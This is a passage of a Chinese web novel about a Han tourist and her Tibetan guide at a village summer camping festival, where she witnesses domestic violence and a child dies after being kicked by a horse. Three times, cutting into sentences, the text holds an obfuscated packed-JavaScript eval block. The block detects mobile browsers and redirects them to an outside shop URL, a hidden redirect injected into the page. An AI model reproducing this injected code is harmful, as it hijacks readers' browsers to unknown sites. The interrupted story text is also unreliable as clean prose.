苏曼也顿时来了兴趣,想看看这个富裕的马王子家,到底有多少财富。 苏曼想到自己在永京,白手打拼,挣下的财富。再想着草原上的这些家族,都是世世代代传承下来的牛和马。 牛生牛,马生马,这些财富在一代一代之间、一家一家之间流转。 送牛送马,嫁妆、婚娶,牛和马就是钱,就是能钱生钱的钱。 牧民很辛苦,但是,这些财富却是实打实的。 听白玛说,今年表妹读大学,大舅舅卖了三头牛,供她读书。 其实夏季并不是卖牛的最好季节,秋季的价格才是最高的。 夏季水草肥沃,牛儿吃的肥肥的,到了秋季,正是售卖的好时候。 牦牛,永远是硬通货,说卖就会有人买,只是价格的浮动区别。 他们卖牛,但是却不会宰牛,牛被买走,最后还是由汉地的屠夫来宰。 甚至他们每年吃的那一头牛,都会请专门的人来宰。在宰之前,还要为它超度念经。 这些屠夫多数都是绿海那边的汉族人。 他们甚至会给牛和马买保险。 大舅舅家有一百二十四头牛,一年的保险费就要三千八百元,一头牛若是病死,就会赔两千到四千元,看牛的大小。如果是两头牛,那么这笔保险费就算是回来了。 大舅舅家,每年病死或者被狼吃掉、咬伤不治的牛,正常都会有十几头。这样算来,还是买保险更划算一些。 而马就不划算了,一匹马一年的保费是三百元,但是只赔五千元,马比牛贵多了,动不动就几万块,而且,成年马病死或者被狼吃掉的几率很小。 所以他们基本都只是给牛买保险,不会给马买。 苏曼跟着白玛,竟然学习了这么多的草原知识。这些在她的世界里是用不上的,但是在她的世界里,却是像童话般的存在。 “姐姐,你今天好像很开心呢?” 白玛笑着脸走过来,苏曼的心情晴朗了,他的心情也跟着晴朗了。 次仁在,好像也没有关系了。 “是呢。看你们训马,好有意思。而且这里的风景好美啊。在这晒太阳,也好舒服的。” 姐姐喜欢马,喜欢看他训马,这让白玛很高兴。他生怕姐姐会觉得无聊。 “你们好久来嘛?”次仁想跟白玛定好时间,他好提前跟爸爸说好,做个准备。 “我都行。”苏曼一切都听白玛的安排。 “我到时候给你发消息嘛,兄弟。” 白玛也说不准,因为村长今天在群里发了通知,这周末要组织耍坝子。 这个月正是最好的季节,再过一段时间,村里就要开始集体割草了。 - 耍坝子,相当于露营。 就是村里会划出一大片草地来,然后每家每户集体搭起帐篷,集体露营,集体吃东西,集体玩游戏。 这也是每年村上夏季都会举办的活动。 在六月挖完虫草过后,七月底八月初,等县上的夏季赛马节一结束,各村的耍坝子活动,就要纷纷开始了。 这也是每年村上最大的活动,相比赛马,耍坝子是男女老少全家都可以参与的。 白玛家里没有大的帐篷,还要去大舅舅家借一个。 大舅舅前阵子刚买了个一万多块钱的新帐篷,那个原来四五千块钱的旧帐篷,就给了白玛家了。 然后还要去借一些漂亮的毯子,帐篷里要铺上漂亮的坐毯,这些白玛家也是没有的。 总的来说,白玛家真的是什么都没有,那些彰显奢华的昂贵毯子,和精雕木纹画上漂亮纹饰的桌子,统统都没有。 大舅舅还准备专门开车去一趟兰城的批发市场,采购一箱箱的饮料,和许多的水果,小食,这些都是要大量准备的。 每个人的帐篷里,都会装扮成富丽堂皇的样子,就像是草原上移动的豪华客厅,接待着村子里的每一个人。 要说汉地的春节是最热闹的,但是在草原上,夏季才是最热闹的。 在最美好舒适的季节,做着最快乐的事情。 而冬季,许多有钱人就会跑到他们在兰城的房子里去住,躲避高原上冬季的寒冷。 白玛带着苏曼来参加村子里的耍坝子,这是一件新鲜事,又不是。 大家好似觉得这种行为像是带了一个汉族女朋友来一样,但是又不是,因为白玛确实带的是一个女游客。 可是大家还总是把苏曼这个女游客脑补成白玛的汉族女朋友。 这真是有些说不清楚。 这叫白玛好生害羞。 苏曼不懂,只乖乖的坐在白玛家的帐篷里,吃着桌上摆满的各种水果和小食、糕点。 白玛妈妈不停的让苏曼吃这个吃那个,姑姑一会儿又进来探头看看坐在帐篷里的苏曼,好似一个新鲜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678615|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吉祥物般。 最不高兴的要数德西了,她也过来看了看,跟白玛妈妈在一旁聊了许多,反正苏曼也听不懂。 白玛好不自在,他本是主人,此刻也和苏曼一样,变成了一个吉祥物,所有人都来钻一钻他家的帐篷瞧瞧。 “姐姐,要不,我们出去走走吧。” 白玛看着坐在一旁跟妈妈聊天的德西,还有十分窘迫的苏曼和自己。 “好的。” 苏曼赶紧搓搓手,站了起来,饶过桌子,跟白玛妈妈示意,白玛领着苏曼走了出去,德西的眼神追随着也跟了出去。 “姐姐,好紧张吧?” 白玛点了根烟,似乎也松了一口气。 “嗯。你们这的人太热情了。哈哈。” 苏曼一下子缓下来了许多,特别是走在这热闹的草原上,她还没见过这么大阵仗的集体露营。 白玛倒着身子走,看着苏曼的小鼻子被风吹的通红,穿着红色羽绒服的小小的一个红人,走在他的前面,白玛忽然笑了起来。 “咋啦?白玛,你笑什么?” 苏曼以为自己脸上有什么东西,用手扑了扑脸。 “没什么,我就是看着你的样子,忽然能懂他们为什么都一个个来看你了。哈哈。” 白玛又忍不住傻笑了起来。他一只手插在裤兜里,缩着脖子,另一只手拿着烟。 “咋啦?为什么?” 苏曼好奇极了,他们为什么都来看她,难道不是因为她是汉族女孩吗?还是说因为她长的漂亮?她早就习惯了人家夸她漂亮了。 “嗯。就是你跟我们这边的女孩子不太一样,你小小的,看上去很可爱的样子。” 说完白玛也有些害羞,拿起烟嘬了一口,眯着眼继续盯着苏曼看。 小小的,就是可爱,怪不得像个吉祥物。 “嗨!” 原来是这样。不过被白玛这样盯着,苏曼也有些不自在了起来,他们越走越远,人也越来越少。 “我们走回去吧。” “好,我们去那边看他们玩游戏。” 游戏有两种,一种是小孩子玩的,一种是大人玩的。 不过就是头顶着水盆跳着跨过障碍物,水盆里的水不能洒出来这些。 还有就是一些赛跑比赛。总之,就是挺自娱自乐的。 游戏简单,但是参与的人各个都热情高涨,围着的人也很多,加油的加油,打气的打气。 “姐姐,今晚我们都会住在帐篷里,村长说了,不许回家住的。你要不要也体验一下?” “离的这么近都不许回家住?” 这是什么规矩。难道就是为了一个凝聚力还是热闹什么的?或者是,活动的完整性? 苏曼不理解这样的规矩,但是也能理解村长的用心良苦,和巨大权利。 在这里,村长说什么就是什么。 苏曼犹豫了一下,不能下定决心在这陌生的草原上,陌生的帐篷里,没有门锁的帐篷里,睡上一晚。 “可是,我可能......有点害怕。没这么住过。” “怕什么。我们这里都很安全的。” “那睡在地上?还是那个长条的凳子上?” “对啊,凳子上,我在家也是睡在厅里的那个凳子上啊。我们这边都是这样的。” 26. 第26章 苏曼还是很为难,不说安全问题,首先睡在那个长条的凳子上,就怕是难以入睡,何况,这晚上,该冻死个人吧。她可没有他们高原人的那种抗寒体格。 “晚上会很冷吧?” “我给你多拿两床被子嘛。或者叫我妹妹陪你一起睡也行,你们两个睡一个帐篷。” 白玛极力的邀请她留下来。 “晚上还能看星星呢。” 犹豫的苏曼,勉强的,艰难的,答应了。 “好吧......那就试试吧。大不了明天回酒店再补觉。” “好嘞!我一会儿跟我阿妈说,让她去给你和妹妹找一个帐篷。” “你可别离我太远啊。我害怕。” 苏曼的眼里有些许恐惧,有些无助的望着白玛。她是鼓足了多大的勇气才决定这个体验。 白玛看了看苏曼,认真的思索了一番,道:“嗯。我找个你旁边的帐篷睡,跟他们换一下。” 草原上的每一个人,都是可以随时随地睡在任何地方的。 可以去别人家厅里的长凳子上睡一晚,也可以在别人帐篷里的被子里窝一宿。是凳子上,或地上,他们都不在乎。 这是真正的天为被、地为床的民族。 白玛跑来跑去的协调,终于调好了两个挨着的帐篷,妹妹梅朵抱着厚厚的被子放进去,前后跑了两趟。 梅朵今年十五岁了,正在读小学五年级。 按说在汉地该是读初二初三的年纪了,但是高原上读书晚,因为一些学校的变动,她在乡里读到三年级,去到县上又从一年级重新读了一遍。 到了傍晚,大家一起在帐篷里吃晚饭,不过就还是那些个零食,如果不够的话,那就再泡一桶方便面,拆包辣鸡腿或鸡翅,就能吃的美滋滋的了。 不一会儿德西爸爸就进来了,看了看苏曼,向白玛问道:“这是你的游客索?” “对的嘛。”白玛嗦着方便面,没有抬头看德西爸爸。 白玛妈妈不明所以,招呼德西爸爸坐下一起吃点东西,德西爸爸坐了下来,开始拉着白玛说话。 “白玛,你咋个把德西的微信删起了嘛?” 白玛妈妈看着白玛,白玛低头吃着方便面不说话。 苏曼尽力表现的与自己无关。这确实也与自己无关,只不过是德西看不得她在白玛身边而已。 白玛妈妈立刻就明白了自己儿子的心意。 “德西爸爸,小娃娃的事情莫管嘛。他们想咋样就咋样嘛。” 白玛偷偷看了一眼妈妈,妈妈最懂他,也最支持他。从来不会拿家长的身份来压他,任由他自由的生长,只是在人生的道路上,给他讲许多平凡而又正确的道理。 他一直感激妈妈,甚至也不羡慕别人在成长的年岁中有爸爸陪伴。因为父亲的约束,是他和小伙伴们都不喜欢的。 小伙伴们时常在白玛这里抱怨,并且羡慕白玛没有爸爸管着多好。 “哎呀!你加起在嘛!我们家德西那么喜欢你。你也不能这个样子的嘛。” 德西爸爸有些不高兴了,他就是来替德西说情的。 “好好好,回头我跟他说嘛。你先回去嘛。今天我们家有客人呢。不要让娃娃没面子的嘛。” 白玛妈妈将德西爸爸劝了出去。 “白玛。你自己看到办哦。妈妈不管你的。” “嗯。晓得的。” 窒息的德西爸爸走后,白玛又带着苏曼跑出了帐篷。 在这边的风俗,很少有家长当着孩子的面讨论男女感情之事,因为这是一件非常非常非常害羞的事情,没有人会拿到明面上来说的。 但是德西爸爸或许是真的急了,他家德西等了白玛这么久,却连一点希望都看不到。他不像是自己的女儿失恋了,到像是自己失恋了。 “白玛,你想找个什么样的姑娘嘛?” 苏曼也挺好奇的,白玛在汉地来说,算是非常帅的了,难得的在高原,还能生出这么高的个子来,或许是遗传了他的父亲,因为白玛妈妈比苏曼还要矮小。 白玛害羞的撅着嘴笑着,又舔了舔唇:“我也不知道呢,姐姐。” “善良吧。一定要善良的。”白玛补充道,他应该是想找一个像妈妈一样善良的姑娘。 走过一顶顶帐篷,巨大的照明灯杵在草原上,家家户户的帐篷里都亮着硕大的充电灯,这真是一个热闹的夜晚。 有在唱歌跳舞,也有孩子哭闹。每一盏灯下,都是一个个家庭的温度。 不远处有一些哭闹声,也无人在意,直到声音越来越大,冲出了帐篷。白玛探着脑袋看了一会儿,有几个人都围了过去。 那是次登家。 白玛也加快几步走了过去,苏曼一阵紧张,也跟着白玛凑了过去。 次登大叔和大婶正在吵架,大婶已经哭的一把鼻涕一把泪的,好像是为了孩子手上的一个小汽车玩具。 一个玩具有什么好吵的。 可是次登大叔不停的搡着次登大婶,最后竟然捶了大婶的脑袋两下,大婶整个向后倒在了长凳上,眼睛瞬间肿了起来,嘴里还大声的骂骂咧咧着,气势上完全没有输。 可是女人,始终是打不过男人的。次登大婶怎么说,都是被打的那一个。 有人上前去拉,白玛身边有苏曼,不好上前。 他看的认真,忽觉袖子被苏曼紧紧拽着,越来越重,扯到整个肩膀都要压了下去,这才赶紧看了一眼身旁,苏曼整个人已经在颤抖,吓的不行。 虽是夜晚,但是这一看就不是冻的,而是吓的。 “姐姐,你怎么了?” 白玛着急的扶住苏曼,可是苏曼还是不停在颤抖,双手紧紧攥着白玛的衣服,她的双手冰凉,脸色煞白,似要昏厥过去。 白玛怕是苏曼有什么病犯了,也吓的不轻,赶紧扶着走到一边,生怕被人看出来什么。 好在大家的注意力都在次登家的帐篷里,直到最后苏曼从僵硬变成泄气,软软的瘫倒在白玛的怀里。 苏曼晕厥了过去。 白玛赶紧打横抱起,飞奔到了远处的汽车那里,拉开车门,将苏曼放倒在后座,手忙脚乱的打着火,奔向县医院,都来不及跟任何人打声招呼。 一辆汽车在夜色中点亮,轰的一声在黑幕中急促移动,冲出草原,奔上马路。 白玛一边着急,一边叫自己冷静。 姐姐是来旅游的,姐姐有没有家人?姐姐要是出事了怎么办?他是向导会不会有麻烦?姐姐是不是有什么隐疾?难道是高反了? 各种问题被塞进了白玛的脑袋里,他边轰油门边不时回看后座的苏曼,想着这种情况,是不是不会有生命危险。 直到车子开到了县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691043|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医院的门口,白玛再次将苏曼抱起,冲进了急诊室。 看到苏曼躺上了推车,他才放下心来。 一切都交给医院了。 白玛交了费,苏曼也输上了液,吸上了氧。 但是医生也没说出个所以然来,只说是她因为呼吸急促,然后缺氧导致的晕厥,好在送的及时,吸上氧就好了。 缺氧昏倒,这个白玛到是能懂。但是呼吸急促是什么意思?她怎么会好端端的呼吸急促呢? 白玛给阿妈发了条语音,没说苏曼晕厥的事,只说是苏曼有些高反,他陪她去县医院吸氧来了。 这种事情很正常,因为白玛妈妈有时候身体不舒服也会来县上吸氧,包括去年挖虫草的时候身体不适,头晕后晕倒了,第一时间下山,也是被大舅舅送到县医院去吸氧的。 在高原上,缺氧是再正常不过的事情了。 因为缺氧导致身体不舒服或者各种各样的生病,也是再正常不过的事情了。 高原病,连他们本地人都会有,何况苏曼她一个外地来的弱弱小小的女子呢。 白玛发完微信,安心的守在医院,守着苏曼,等她什么时候醒来。 苏曼不醒来,白玛无论如何都是睡不着觉的。 好在没有太久,苏曼慢慢的醒过来了。输了液,吸了氧,脸色也好了许多,不再煞白。 “姐姐?你怎么了?你刚才晕倒了!” 苏曼缓了缓神,眼睛直直的定了定,好像终于想明白了自己在哪里,在做什么。 她拔下氧气面罩,看了看还在输液的手。 “......没事。” “怎么没事?我可吓死了,姐姐,你刚才晕倒了!” 白玛趴在床边,着急的要死,好在姐姐没事,但是刚才那一幕,他真是吓到了,她不是别人,她可是他的客人,她是他带到草原上来的。 “姐姐,你一定要告诉我,不然我不敢再带你玩了啊。” 白玛恳切又担忧的眼神望着苏曼,似要落下泪来。 这怎么会值得他落泪呢。苏曼不明白。 “嗯......我没事。我就是......看不得男人打女人......被吓到了。” ...... 这是什么?白玛不懂。 “你是看到了会害怕吗?然后就会这样?” “嗯。” 白玛眉头皱的紧紧的,一直盯着苏曼的脸,她云淡风轻,却又似伤痕累累。 “姐姐,你是被男人打过吗?”白玛小心翼翼轻声的问。 苏曼别过脸去,一会儿又坚强的转了过来。 “没有,是我妈妈,被我爸爸打。嗯。比这个还要凶。所以......” 是揪着头发在地上拖,然后头发带着头皮,整块被揪掉的那种打。 是穿着皮鞋,把脸踩在地上的那种打。 或许还有更多,但她的记忆都快模糊了。 她想,婚姻对女人来说,有个什么用,求了温饱,却失了安全。 所以,她只要解决自己的温饱就好了,努力赚钱养活自己就好了。 “姐姐,所以......你才那么怕男人吗?” 苏曼所有细小的谨慎与紧张,都一幕幕涌回白玛的脑子里。 这段日子的疑惑,似乎在这一刻得到了答案。 27. 第27章 苏曼没有再回答,她想她应该已经该说的也都说了。至于白玛能不能理解,对她来说,也不太重要。 “姐姐,你没事就好。” 白玛紧张的情绪,也慢慢的落了下来。 “要不要和你妈妈讲?你这个病?” “不用。” 冰冷的两个字,叫白玛的心,又乱了起来。他实在搞不懂,这个姐姐,为什么有家人,又好像没有家人。 家人,是多么重要的存在啊。 可是在苏曼的世界里,已经不存在了。 “白玛,你不用担心我。我没事的。我几乎没怎么这样过。” 这些年,她清心寡欲,日子平淡,但是却也没有痛苦。 她觉得挺好的,哪怕是母亲曾经伤害了她,她也已经将过往淡化了。父亲伤害母亲,母亲再伤害她,这个链条,已经在她这里断掉了。 今天,可能真的是氧气稀薄的缘故吧。 白玛好像重新认识了苏曼,又好像重新变的不认识了。 但是他知道,他的心有一阵绞痛,他是那么的心疼病床上的这个人,姐姐不缺钱,她缺爱。 可是爱,是用钱买不到的呀! 怪不得她总是那么孤独。怪不得她总是什么都不敢碰。 “姐姐,你睡吧。我在这里陪着你。你多休息会儿。” 已经后半夜了,苏曼没事就好,什么事情都比不过生命的重要。 白玛看着苏曼,庆幸大家都还能健康的活在这个世上,因为不知道什么时候,生命就会离你而去。 白玛一整夜都没睡,他一次次的出现在医院的走廊上,点燃他的香烟。 病床上的那个人,与他无关,但是他却又好像被什么牵扯着,不由自主的总会去想,关于她的事。 到了早上医生交接班,苏曼已经可以走了。白玛把苏曼送回酒店,她的身体恢复了,但是她的精神好像被打垮了。 白玛不知如何能再替她找回来。 “姐姐,你今天好好休息。然后你需要我的时候,给我发微信。” 苏曼欲言又止,她想让白玛再陪陪她,似乎只有白玛在身边,她才能踏实。 可是,她终究是要回酒店,他终究是要回家。 “白玛,你晚饭的时候来接我可以吗?我还想去看星星。” 白玛顿了顿,露出了苦涩的笑容,他不知道为什么,鼻子酸酸的。 “好。姐姐。我五点来接你。你好好睡一觉。要不要中午我给你送外卖来?” “要......” “好。” 白玛噙住眼中的泪花,目送着苏曼走进酒店。他转过身,吸了吸鼻子,掏出口袋里的香烟,放进嘴里点上,味道是苦的。 草原上的耍坝子还在如火如荼的进行着,次登家也恢复了平静。 据说是因为那个小汽车玩具是其他哪个乡的大叔给买的,次登爸爸怀疑次登妈妈在外面有人了,所以才打了她。 这种事情,外面的人是不管的。感情上的事,向来是说不清道不明,自己的线还乱着,哪有心思去捋别人的线呢。 白玛没有心情看他们玩游戏,也没有心情去揣测德西看他的目光,他只想着一会儿中午去哪家馆子给姐姐定饭菜,今天的天气怎么样,晚上会不会下雨。 微信响起,苏曼把医药费还有这几天的向导费转了过来。白玛的心又是一紧,向导费这么快就给了? 他不知道自己什么时候开始变得这么多猜测和思想了,要是以前,他可不会去在意这些细节。给了就给了,给了更好。 “阿妈,我把姐姐转的钱转给你,这两天你看见什么要买的就买。” 白玛给妈妈转了两千,又带着弟弟去小卖部买雪糕吃去了。 这个降措,每天不吃一个雪糕就难受,不过还好,夏天嘛,吃雪糕也是应该的,毕竟他们这里,基本都是漫长的冬季。 中午给苏曼去送外卖,白玛妈妈又是千叮咛万嘱咐: “你给人家买点肉吃啊,不要买青菜那些,多吃点肉,不然力气不够的,最好买那个辣椒炒猪肝,补血的。还有啊,买饭就不要再让她给你转钱啦,她给你的已经够多了。” 白玛一脚油门就轰到了酒店门口,这次他大大方方的按了电梯,心想,或许人家以为他只是个送外卖的呢。毕竟他手上提着外卖。 苏曼睡到十一点就醒了,早早的等着白玛过来给她送饭。 “姐姐,我五点来接你。”白玛站在门口,将外卖递给苏曼。 “好。” “里面有辣椒炒猪肝,妈妈说这个对你身体好。” “好的。谢谢你妈妈。” “那你吃好了,再好好睡一觉。” “嗯。” 白玛没有进房间,交代两句便回了。昨晚的事,都没再提。 到傍晚的时候,白玛又准时出现在了酒店的楼下。苏曼今天特意化了些妆,她不想叫白玛妈妈看到她的憔悴。 “姐姐,你化妆了呢,真好看。” 白玛一边替苏曼拉开车门,一边俯视着盯盯,左看右看都觉得很满意的样子。 苏曼坐进车里,今天被白玛夸,竟还有些害羞了:“你可别学扎西,嘴巴那么虚。” “什么虚啊,姐姐,我可是第一次夸女孩子好看呢。” 德西哪怕打扮的再漂亮,白玛都从来没有觉得好看过。 “好吧好吧。今天咋不骑摩托车来?汽车多费油。” 苏曼开始替白玛考虑了起来。 “怕你吹风了不舒服,没事,就几步路,费不了多少油。” 从县上到白玛村里,也就几分钟的车程,白玛想着今天一定要好好让姐姐开心起来,忘掉昨晚的不愉快。 “姐姐,妈妈说了,今天晚上吃火锅,就在我们帐篷里吃,给你补补身体呢。” “哎呀,你咋跟你妈妈说的啊?我好害怕呀!” 白玛温柔的笑着:“我说你昨晚高反不舒服了,去医院吸个氧。” “哦,那还好。”苏曼松下一口气。 “吃完火锅,我就带你去看星星。”白玛轻轻的说, 苏曼也轻轻的“好”了一声。 车子进了村,远处的一顶顶帐篷整齐的排列在这个广阔的大地上。灰的、黑的、白的,点缀在蓝白的天际线之间。 村色光亮,夕阳还远,天高高的撑在宇宙中,俯视着地面上的人与物。 白玛妈妈去各家搜罗了各种美食,准备了满桌子的肉和水果。整个村子里的人都知道苏曼今晚要在他们帐篷里吃火锅了。 “白玛妈妈,你那个汉族姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703516|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,是你家娃娃女朋友不?” “不是的哦!就是游客嘛!我们家白玛给她做向导嘛!那个女孩子人很好的,我们也不能亏待了人家嘛!” 今天,总有人会这么问白玛妈妈,白玛妈妈都耐心的一一解答。 白玛跟这个汉族姑娘,怎么可能的嘛。他们家白玛只是业务多,事情多,接触的人多,为了赚钱嘛。 人家姑娘一天给五百块钱,怎么可能不服务好嘛。哎哟,他家白玛哪有心思谈恋爱哟。再说了,找个汉族姑娘,更加不可能的嘛。 不过白玛妈妈也开始观察了起来,但是好像没观察出个啥来。真的就是游客,白玛还一口一个“姐姐”的尊称叫着。 白玛妈妈放下心来。 苏曼越来越觉得和白玛的家人在一起很放松,不再紧张不自在。 比起小时候在自己家里,总是胆战心惊。 父亲走到厅里,她便躲到房间里,父亲走到阳台上抽烟,阳台刚好能看见她的书桌,她就不坐在书桌前,坐到床上去。 那是如履薄冰的日子,在自己家里。 在白玛妈妈面前,在白玛面前,她可以想做什么就做什么。 而且最重要的,他们会给她真正的关心,而不是职场上那些虚伪的、利益的、关心后的索取。 吃过晚饭,妹妹梅朵帮着白玛妈妈收拾桌面的残局,白玛妈妈还又塞给苏曼一个苹果,叫她啃着。 嘴里虽然什么都没说,但那满心满眼盼着你好的眼神,是叫她暖心又感动的。 “白玛,你妈妈真好。” 这是苏曼不知第几次这样对白玛说了。 白玛又骑上了他的摩托车,上山只能骑摩托车,但他还是担心苏曼会着凉。于是把他那个方格子大大头巾找来,给她包在了脑袋上。 “姐姐,你现在好像我们这边的女人呢。我们这边都是这样绑头巾的。” 苏曼摸摸脑袋上的头巾,看着站在她面前,认真替她绑头巾的白玛,笑的很开心。 傍晚的风其实并没有很凉,而且苏曼已经没事了。 正在他们准备往山上出发的时候,梅朵老远急急的跑来,喘的上气不接下气。 “哥哥!甲尕把我们家的小黑放出来了!马踢到他啦!” “什么?!甲尕没事吧?”白玛喊道! 苏曼赶紧从摩托车上下来,白玛拧起油门就冲了出去,远处小黑正甩着缰绳在夕阳下狂奔。 “梅朵!你先把姐姐带回家等我!” 白玛追了出去,撕裂的摩托车声碾压着大地。小黑这匹烈马,终于闯祸了。 “梅朵,甲尕怎么了?被马踢到了?厉不厉害?” 苏曼也开始着急起来。 小黑是她和白玛一起去买回来的,小黑有多暴躁,她是知道的。连白玛和次仁这样的高手,都被它拽的气喘吁吁,更别说一个小孩子了。 “我还没看到呢,是妈妈叫我过来喊哥哥的!我们快回去看看吧!” 苏曼跟着梅朵也跑了起来。 梅朵跑的飞快,就像她在汉地的平地上一样轻松,她跟的很喘,但是这个时候,她也只想赶紧回到白玛家里去看看甲尕的情况。 甲尕趁着大家都在帐篷里耍坝子,自己跑到白玛家里去看小黑,擅自打开了马房的门...... 28. 第28章 小黑追回来了,但是甲尕的情况不太好。 甲尕爸爸手抖的无法开车,由白玛的大舅舅开车把他们送去兰城,可能还要做手术。 马踩断了他的肋骨,插进了胸腔,跟白玛爸爸当年的情况一样。 白玛把苏曼送回酒店,又匆匆赶回了家里,焦急的等待着甲尕的消息。 妈妈满面愁苦,担心甲尕的安危。 这一幕,让她回到当年。只不过那次是发生在赛马场上,她知道消息的时候,白玛爸爸已经不行了。 小小的甲尕,能不能撑过去,是个很大的问题。 大家都没睡,一直在白玛家里等着,还有甲尕的爷爷。 到了半夜,舅舅的微信发来,说:他们已经在往回赶了。 甲尕死在了路上。天崩地裂。 死亡对他们来说,是司空见惯的事情,是经常会挂在嘴边的东西。人生无常,生命无常。 但是当死亡来临的时候,人类的痛苦是无法抹去的,你仍然必须面对它。 甲尕爷爷沉默了好久,一直默默的抽着烟袋,也没有回家,就坐在白玛的家里。 白玛在一旁自责,他后悔自己没有给马房上锁,买了那么贵的一匹马回来,应该是要配一把锁的。 他抬头望着甲尕爷爷那张满是皱纹的脸,岁月把所有情绪都揉在了一起,最后化成了一个巨大的沉默。 也许在这几个小时里,甲尕爷爷已经想到了死亡。 “甲尕那么喜欢马,这次不死,下次也还会死在马背上,这是他的命,不怪你们。是他自己偷偷跑去你们家看马的,是他自己的错。” 甲尕爷爷终于说话了,却说的是这样的话。 “甲尕爷爷,你不要这样说,是我们没有把马房锁好。” 白玛妈妈粗糙的手抹着眼泪,她怎么会不知道这种痛苦。 “锁什么嘛,村上哪个家里锁马房的?你那个马,也没人敢偷,十里八乡谁不知道是你们家的。不要说了白玛妈妈,这个跟你们没有关系的。” “不行的,甲尕爷爷。”白玛妈妈一定坚持。 “白玛,明天把你的小黑给甲尕爸爸送去。赔给他们。就算是道歉了。祸就是那个小黑闯下的。” “阿妈.....” “就这么定了。钱还可以再挣嘛,甲尕没有了,甲尕爸爸去哪里再找甲尕。” - 甲尕没有了,他被送到了山上,让天空飞翔的黑鸟带走他的身体,让神灵带走他的灵魂。 白玛把马牵到了甲尕家里,甲尕爸爸不要,说不应该这样,但是白玛妈妈的坚持,马最后还是留下了。 白玛自己去了山上,望着这一片的村落,情绪无处发泄。 人活在世上好难。长大难,生存难,亲情、友情都很难。为了道理,妈妈就可以牺牲自己。 “姐姐,甲尕走了......我很难过。” “要不要我陪你......” “嗯。” 白玛带着苏曼一路狂奔,在绵长的公路上,没有停止的狂奔。 只有耳边的风声和看不到尽头的路的前方。汽油在一点点燃烧,直到燃烬白玛心中的痛苦与不甘。 无声的呼啸,持续了一个多小时,白玛终于停了下来。 “姐姐,死亡可不可怕?” “没什么可怕的。我死了没事,反正我就是一个人。” 白玛身后的苏曼,原来比他的心还冰凉。 “我不能死,家里人都需要我。” “嗯。好好活着。” 白玛掉转车头,又开始往回疾驰。他们像是迷失在了一个路口,终于找到了方向,顺着那个方向又继续奔跑。 在酒店楼下,白玛一双哀伤的眼睛看着苏曼,轻声的对她说: “姐姐,你也不能死。你不是一个人,这个世界上,还有许多人爱着你的。你也要好好活着。” 苏曼轻扯嘴角,给了白玛一个微笑:“嗯。我们都好好活着。” 耍坝子,就这样结束了。悄无声息的,又悲烈的,结束了。 甲尕家里的孩子依然会来白玛家里玩,白玛妈妈依然会给他们准备各种自家里爸爸妈妈不给买的零食。 似乎甲尕的死亡,就像天气一样,下过雨又天了晴。 草原上的生命,如风如云,来来去去,都不会在谁的心里留下执着。 因为他们相信:也许他的下一世,会活的更好。 这不过是生命的轮回。而轮回永不停止。 - 曲珍开着车来找白玛,递给白玛一个鞋盒子。 这是一双限量版的名牌球鞋,是如今县上乃至明星们都爱穿的A追。颜色是纯金色。他们总是如此地执着金色,与黄金一样的颜色。 “白玛,你帮我个忙撒。帮我把这个鞋子送给次仁。” 原来曲珍是来请白玛做中间人。 “你自己送嘛!这么贵的鞋子,你自己送多好。” 白玛也忙的很,乱遭的事本来就很多,最近他连骑马的念想都没有了,整个人都是颓颓的。 “我送不出去啊。我送了嘛,他不要嘛,又给我退回来了。” “哎哟。这真是麻烦的哟。” 白玛可以肯定次仁是不喜欢曲珍的。曲珍做这些,确实是徒劳,但是他又不能劝曲珍放弃,只好搅在里面一起蹚这个他不喜欢的浑水。 “求求,你帮帮忙嘛。” 曲珍来找他,他也怕村子里的其他人看见,白玛只好赶紧答应,将那双A追收下了。 “如果他再不要,我就没得办法咯。只能帮你这一次。” “好嘛。” 曲珍满意的离去,女人追男人,在这里,是再正常不过的事了。 白玛没空,只好给次仁发微信,叫他过来一趟有事说。 次仁匆匆赶来,以为是什么事,结果是曲珍的事。 “她的事你不要找我嘛。我又不喜欢她。” 次仁很不耐烦,转身就要走,还不忘抱怨:“你还专门叫我跑一趟。” “你不跑难道我跑啊,又不是我的事,你自己搞不定,我还麻烦咧。” 白玛也不惯他,曲珍这个事,本来就跟他也没关系。 次仁跨上摩托车,甩了甩头发,坚定的跟白玛说:“以后她的事,你不要管,也不要来找我。” 白玛也不甘示弱:“你以为我想管啊!人家都跑到我家里来了,好在我阿妈没看见,不然我真是脸都羞没得了。” 说完白玛靠在院门口,点上了一根烟,看着次仁一脸烦躁的样子,心里竟然偷偷窃喜。原来帅也有帅的烦恼。 “好久来我家马场嘛?”次仁跨在摩托车上,扶着把手问道, “嗯. 